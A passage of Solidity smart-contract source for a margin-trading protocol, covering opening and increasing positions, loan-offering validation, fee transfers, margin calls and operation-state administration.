"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
